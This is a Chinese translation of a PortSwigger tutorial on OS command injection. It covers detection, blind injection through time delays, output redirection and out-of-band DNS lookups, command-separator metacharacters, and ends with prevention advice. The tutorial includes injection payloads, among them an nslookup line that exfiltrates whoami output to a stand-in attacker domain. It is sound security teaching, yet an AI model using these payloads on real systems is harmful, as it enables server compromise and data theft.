OS命令注入
翻译
原文:https://portswigger.net/web-security/os-command-injection
- name: 翻译
desc: 原文:https://portswigger.net/web-security/os-command-injection
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1OS命令注入
在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用漏洞,详细说明 适用于不同操作系统 的一些有用命令和技术,并总结如何防范操作系统命令注入。
实验室
如果您已经熟悉 操作系统命令注入漏洞 背后的基本概念,并且只想在一些实际的、易受攻击的目标上练习和利用它们,那么您可以从下面的链接访问本主题中的所有实验室。
# 1.1什么是OS命令注入?
OS 命令注入(也称为 shell 注入)是一个 Web 安全漏洞,允许攻击者在运行应用程序的服务器上 执行任意操作系统(OS)命令,这可能会完全破坏应用程序及其所有数据。通常,攻击者可以利用操作系统命令注入漏洞,来危害其他的主机或基础设施,利用信任关系 将攻击转移到组织内的其他系统。
提示
官方在此处提供了一个YouTuBe的链接:https://www.youtube.com/embed/8PDDjCW5XWw?origin=https://portswigger.net&rel=0 (opens new window)
# 1.2执行任意命令
假设有一个购物类型的应用程序,它允许用户查看 特定商店中的某个商品 是否有库存。此信息可通过以下 URL 来访问:
https:/stockStatus?productID=381&storeID=29
为了提供库存信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是以 productID 和 storeID 作为参数,然后调用 shell 命令来实现的:
stockreport.pl 381 29
此命令输出指定商品的库存状态,并将状态返回给用户。
由于应用程序未对 OS命令注入实施防御,因此攻击者可以提交以下输入来执行任意命令:
& echo aiwefwlguh &
如果此输入是在 productID
参数中提交的,则应用程序执行的命令为:
stockreport.pl & echo aiwefwlguh & 29
echo
命令的作用 只是使提供的字符串在输出中回显,并且是测试某些类型的 OS命令注入的有用方法。&
字符是一个 shell 命令分隔符,因此实际上执行的是三个独立的命令。最后,返回给用户的输出为:
Error - productID was not provided
aiwefwlguh
29: command not found
2
3
这三行输出表明:
- 原先的
stockreport.pl
命令 在没有预期参数的情况下执行,因此返回了错误消息。 - 执行注入的
echo
命令,在输出中回显了提供的字符串。 - 原始参数
29
被作为命令而执行,这导致了错误。
将附加命令分隔符&
放在注入的命令之后 通常很有用,因为它将注入的命令 与 注入点之后的任何命令分隔开。这降低了 后续内容阻止注入命令被执行 的可能性。
- name: 实验室-学徒
desc: OS命令注入,简单示例 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-simple
bgColor: '#001350'
textColor: '#39d50c'
2
3
4
5
6
# 1.3可用的命令
当识别出 OS命令注入漏洞后,通常需要执行一些初始命令,以获取 被入侵系统 的有关信息。以下是一些在 Linux 和 Windows 平台上可用的命令总结:
命令用途 | Linux | Windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接 | netstat -an | netstat -an |
正在运行的进程 | ps -ef | tasklist |
# 1.4OS命令盲注漏洞
许多 OS命令注入实例 都是盲注漏洞。这意味着应用程序不会在其 HTTP 响应中返回命令的输出。但盲注漏洞仍然可以被利用,但需要不同的技术。
假设有一个网站,它允许用户提交关于该网站的反馈信息。用户输入他们的电子邮件地址 和 反馈消息。然后,服务器端应用程序 向站点管理员生成一封包含反馈的电子邮件。为此,它会调用邮件程序 并提交详细信息。例如:
mail -s "这个网站很棒" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail
命令的输出(如果有的话)不会在应用程序的响应中返回,因此,使用echo
命令作为有效负载将无效。在这种情况下,你可以使用各种其他技术来检测和利用漏洞。
# 1.4.1使用时间延迟 检测OS命令盲注
你可以使用 触发时间延迟 的注入命令,从而允许你 根据应用程序响应所需的时间,来确认命令是否已执行。ping
命令是执行此操作的有效方法,因为它允许你指定要发送的 ICMP 数据包数量,从而指定命令运行所需的时间:
& ping -c 10 127.0.0.1 &
此命令将导致 应用程序对其环回网络适配器 执行 10 秒钟的 ping 操作。
- name: 实验室-从业者
desc: 具有时间延迟的OS命令盲注 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 1.4.2通过输出重定向 利用OS命令盲注
你可以将注入命令的输出,重定向到 Web 根目录中的文件中,然后使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static
提供静态资源,则可以提交以下输入:
& whoami > /var/www/static/whoami.txt &
字符>
会将whoami
命令的输出 发送到指定的文件。然后,你可以使用浏览器访问https://vulnerable-website.com/whoami.txt
以检索文件,并查看注入命令的输出。
- name: 实验室-从业者
desc: 具有输出重定向的OS命令盲注 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 1.4.3通过带外(OAST)技术 利用OS命令盲注
你可以使用 OAST 技术来注入命令,该命令将触发带外网络交互 到你控制的系统上。例如:
& nslookup kgji2ohoyw.web-attacker.com &
该负载使用nslookup
命令对指定的域进行 DNS 查找。攻击者可以监控 指定的查找是否发生,从而检测命令是否已成功注入。
- name: 实验室-从业者
desc: 带外交互的OS命令盲注 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
带外通道还提供了一种简单的方法,可以从注入的命令中提取输出:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致 DNS 去查找攻击者的域,其中包含whoami
命令的结果:
wwwuser.kgji2ohoyw.web-attacker.com
- name: 实验室-从业者
desc: 带外数据泄露的OS命令盲注 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 1.5注入OS命令的方法
可以使用各种 shell 元字符来执行 OS 命令注入攻击。
许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符适用于 Windows 和 Unix 的系统:
&
&&
|
||
以下命令分隔符仅适用于 Unix 的系统:
;
- 换行(
0x0a
或\n
)
在基于 Unix 的系统上,你还可以使用 反引号或美元字符 在原始命令中执行注入命令的内联执行:
`
注入命令`
$(
注入命令)
请注意,不同的 shell 元字符具有不同的细微行为,这些行为可能会影响它们 在某些情况下是否生效,以及它们是否允许 检索带内命令回显 或 仅对盲目利用有效。
有时,你控制的输入会显示在原始命令的引号内。在这种情况下,在使用合适的 shell 元字符注入新命令之前,你需要终止带引号的上下文(使用 "
或 '
)。
# 1.6如何防范OS命令注入攻击
到目前为止,防范 OS命令注入漏洞的最有效方法是,永远不要从应用层代码中 调用操作系统命令。在几乎所有情况下,都要使用更安全的平台 API 来实现所需功能的替代方法。
如果认为不可避免地,必须要使用用户提供的输入 来调用操作系统命令,则必须执行强输入验证。有效验证的一些示例包括:
- 根据允许值的白名单进行验证。
- 验证输入是否为数字。
- 验证输入是否仅包含 字母/数字 字符,不包含其他语法或空格。
不要试图通过转义 shell 元字符来清理输入。在实践过程中,这太容易出错,并且很容易被熟练的攻击者绕过。